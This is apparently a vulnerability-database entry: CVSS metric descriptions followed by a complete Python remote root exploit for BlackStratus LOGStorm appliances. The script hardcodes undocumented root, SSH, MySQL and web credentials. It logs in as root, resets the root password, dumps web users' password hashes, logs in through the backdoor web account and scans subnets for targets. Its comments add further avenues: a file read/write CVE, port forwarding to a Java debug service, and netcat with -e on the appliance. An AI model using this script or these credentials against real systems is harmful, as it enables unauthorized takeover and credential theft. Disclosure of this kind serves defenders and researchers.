The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
BlackStratus LOGStorm 4.5.1.35 / 4.5.1.96 Remote Root#!/usr/bin/python
# logstorm-root.py
#
# BlackStratus LOGStorm Remote Root Exploit
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2016
#
# -Synopsis-
#
# "Better Security and Compliance for Any Size Business"
#
# BlackStratus LOGStorm has multiple vulnerabilities that allow a remote unauthenticated user, among
# other things, to assume complete control over the virtual appliance with root privileges. This is
# possible due to multiple network servers listening for network connections by default, allowing
# authorization with undocumented credentials supported by appliance's OS, web interface and sql server.
#
# -Tested-
#
# v4.5.1.35
# v4.5.1.96
#
# -Usage-
#
# Dependencies: pip install paramiko MySQL-python
#
# There are (5) actions provided in this script: root, reset, sql, web and scan.
#
# [root] utilizes bug #1 to ssh login to a given <host> as root and run the 'id' command
# [reset] utilizes bug #2 to ssh login to a given <host> as privileged htinit user and resets the root password
# [sql*] utilizes bug #3 to sql login to a given <host> as privileged htr user and retrieve web portal credentials
# [web] utilizes bug #4 to http login to a given <host> as hardcoded webserveruser (presumably) admin account
# [scan] scans a given <host>/24 for potentially vulnerable appliances
#
# *sql only works remotely before license validation as afterwards sql server gets firewalled, becoming local only.
#
# Note: this exploit is not and cannot be weaponized simply because exploits are not weapons.
#
# -Fixes-
#
# BlackStratus did not coherently respond to product security inquiries, so there's no official fix. But
# customers may (now) root the appliance themselves to change the passwords, disable root login, firewall
# network services or remove additional user accounts to mitigate these vulnerabilities.. or choose another
# product altogether because this appliance, as of today, simply adds too much attack surface to the network.
#
# -Bonuses-
#
# 1) Another account's (htftp/htftp) shell is set to /bin/false, which affords at least a couple attacks
#
# 1.1) The appliance is vulnerable to CVE-2016-3115, which we can use to read/write to arbitrary files
# 1.2) We can use the login to do port forwarding and hit local services, such as the Java instance running
# in debug mode and probably exploitable with jdwp-shellifer.py (also netcat with -e is installed by default!)
#
# 2) More sql accounts: htm/htm_pwd and tvs/tvs_pwd
#
import sys
import socket
import time
from paramiko import ssh_exception
import paramiko
import MySQLdb
import httplib
import urllib
SSH_BANNER = "_/_/_/_/"
SSH_PORT = 22
MYSQL_PORT = 3306
MYSQL_DB = "htr"
MYSQL_CMD = "select USER_ID,hex(MD5_PASSWORD) from users;"
WEB_URL = "/tvs/layout/j_security_check"
ROOT_CREDS = ["root", "3!acK5tratu5"]
HTINIT_CREDS = ["htinit", "htinit"]
MYSQL_CREDS = ["htr", "htr_pwd"]
WEB_CREDS = ["webserviceuser", "donotChangeOnInstall"]
def main():
if(len(sys.argv) < 2):
print("Usage: %s <action> <host>" % sys.argv[0])
print("Eg. %s root 10.1.1.3\n" % sys.argv[0])
print("Actions: root reset sql web scan")
return
action = str(sys.argv[1])
host = str(sys.argv[2])
if("scan" not in action):
try:
socket.inet_aton(host)
except socket.error:
print("[-] %s doesn't look like a valid ip address" % host)
return
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
#
# ssh login as root and execute 'id'
#
if(action == "root"):
try:
ssh.connect(host, SSH_PORT, ROOT_CREDS[0], ROOT_CREDS[1], timeout=SSH_TIMEOUT)
except ssh_exception.AuthenticationException:
print("\n[-] Action failed, could not login with root credentials\n")
return
print("[+] Success!")
ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command("id")
print(ssh_stdout.readline())
return
#
# ssh login as htinit and reset root password to the default
#
elif(action == "reset"):
print("[~] Resetting password on %s..." % host)
try:
ssh.connect(host, SSH_PORT, HTINIT_CREDS[0], HTINIT_CREDS[1], timeout=SSH_TIMEOUT)
except ssh_exception.AuthenticationException:
print("\n[-] Reset failed, could not login with htinit credentials\n")
return
ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command("")
ssh_stdin.write("4" + "\n")
time.sleep(2)
ssh_stdin.write(ROOT_CREDS[1] + "\n")
time.sleep(2)
ssh_stdin.write("^C" + "\n")
time.sleep(1)
print("[+] Appliance root password should now be reset")
return
#
# sql login as htr and select user/hash columns from the web users table
#
elif(action == "sql"):
print("[~] Asking %s for it's web users and their password hashes..." % host)
try:
db = MySQLdb.connect(host=host, port=MYSQL_PORT, user=MYSQL_CREDS[0], passwd=MYSQL_CREDS[1], db=MYSQL_DB, connect_timeout=3)
except MySQLdb.Error as error:
print("\n[-] Failed to connect to %s:\n%s\n" % (host, error))
return
cursor = db.cursor()
cursor.execute(MYSQL_CMD)
data = cursor.fetchall()
print("[+] Got creds!\n")
for row in data:
print("USER_ID: %s\nMD5_PASSWORD: %s\n" % (row[0], row[1]))
db.close()
return
#
# http login as webserviceuser and gain presumably admin privileges
#
elif(action == "web"):
print("[~] Attempting to login as backdoor web user at %s..." % host)
try:
client = httplib.HTTPSConnection(host)
except:
print("[-] Couldn't establish SSL connection to %s" % host)
return
params = urllib.urlencode({"j_username" : WEB_CREDS[0], "j_password" : WEB_CREDS[1]})
headers = {"Host" : host, "Content-Type" : "application/x-www-form-urlencoded", "Content-Length" : "57"}
client.request("POST", WEB_URL, params, headers)
response = client.getresponse()
if(response.status == 408):
print("[+] Success!")
else:
print("[-] Service returned %d %s, which is actually not our criteria for success" % (response.status, response.reason))
return
#
# check the ssh network banner to identify appliances within range of <host>/24
#
elif(action == "scan"):
count = 0
print("[~] Scanning %s for LOGStorm appliances..." % sys.argv[2])
for x in range(1,255):
banner = None
#
# 10.1.1.1/24 -> 10.1.1.[x]
#
host = str(sys.argv[2]).split('/')[0][:-1] + str(x)
try:
ssh.connect(host, SSH_PORT, "user-that-doesnt-exist", "pass-that-doesnt-work", timeout=2)
except ssh_exception.NoValidConnectionsError:
pass
except socket.timeout:
pass
except ssh_exception.AuthenticationException as error:
banner = ssh._transport.get_banner()
if banner and SSH_BANNER in banner:
print("[!] %s\n" % host)
count+=1
print("[+] Found %d appliance(s)"% count)
return
if __name__ == "__main__":
main()
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